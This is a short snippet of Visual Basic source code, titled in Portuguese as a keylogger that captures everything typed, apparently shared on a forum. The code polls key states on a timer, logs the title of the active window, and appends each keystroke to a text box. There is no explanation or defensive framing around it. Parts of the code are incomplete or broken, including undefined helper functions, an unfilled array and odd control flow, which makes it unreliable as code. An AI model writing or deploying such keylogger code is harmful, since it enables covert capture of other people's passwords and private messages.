Capturar tudo que é digitado - Keyloger em VB.

Dim a(15) As String
Private CurrentApp_hWnd
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA"
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Private Declare Function GetWindowTextLength Lib "user32.dll" Alias
"GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Function GetCaption(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
GetCaption = hWndTitle
End Function



Private Sub Timer1_Timer()
On Error Resume Next

If GetForegroundWindow <> CurrentApp_hWnd Then
CurrentApp_hWnd = GetForegroundWindow
If GetCaption(GetForegroundWindow) = "" Then Else: Text1 = Text1 &
" [" & GetCaption(GetForegroundWindow) & "] - "

End If

If GetAsyncKeyState(13) = -32767 Then addkey = vbCrLf
If GetAsyncKeyState(8) = -32767 Then Text1 = Left(Text1, Len(Text1) - 1)
If GetAsyncKeyState(32) = -32767 Then addkey = " "
If GetAsyncKeyState(186) = -32767 And getshift = False Then addkey = ";"
If GetAsyncKeyState(187) = -32767 And getshift = False Then addkey = "="
If GetAsyncKeyState(188) = -32767 And getshift = False Then addkey = ","
If GetAsyncKeyState(189) = -32767 And getshift = False Then addkey = "-"
If GetAsyncKeyState(190) = -32767 And getshift = False Then addkey = "."
If GetAsyncKeyState(191) = -32767 And getshift = False Then addkey = "?"
If GetAsyncKeyState(192) = -32767 And getshift = False Then addkey = "`"
If GetAsyncKeyState(96) = -32767 Then addkey = "0"
If GetAsyncKeyState(97) = -32767 Then addkey = "1"
If GetAsyncKeyState(98) = -32767 Then addkey = "2"
If GetAsyncKeyState(99) = -32767 Then addkey = "3"
If GetAsyncKeyState(100) = -32767 Then addkey = "4"
If GetAsyncKeyState(101) = -32767 Then addkey = "5"
If GetAsyncKeyState(102) = -32767 Then addkey = "6"
If GetAsyncKeyState(103) = -32767 Then addkey = "7"
If GetAsyncKeyState(104) = -32767 Then addkey = "8"
If GetAsyncKeyState(105) = -32767 Then addkey = "9"
If GetAsyncKeyState(110) = -32767 Then addkey = "."
If GetAsyncKeyState(220) = -32767 And getshift = False Then addkey = "\"
If GetAsyncKeyState(222) = -32767 And getshift = False Then addkey = "'"
If GetAsyncKeyState(221) = -32767 And getshift = False Then addkey = "]"
If GetAsyncKeyState(219) = -32767 And getshift = False Then addkey = "["
Skip:

KeyLoop = 41
Do Until KeyLoop = 127
If GetAsyncKeyState(KeyLoop) = -32767 Then
If KeyLoop > 64 And KeyLoop < 91 Then
If GetCapslock = True And getshift = True Then KeyLoop = KeyLoop + 32
If GetCapslock = False And getshift = False Then KeyLoop = KeyLoop + 32
End If

If KeyLoop > 47 And KeyLoop < 58 And getshift = True Then addkey = a(Val(Chr(KeyLoop)))

Text1 = Text1 + Chr(KeyLoop)

End If

KeyLoop = KeyLoop + 1
Loop
GoTo KeyFound
Exit Sub
KeyFound: Text1 = Text1 & addkey
End Sub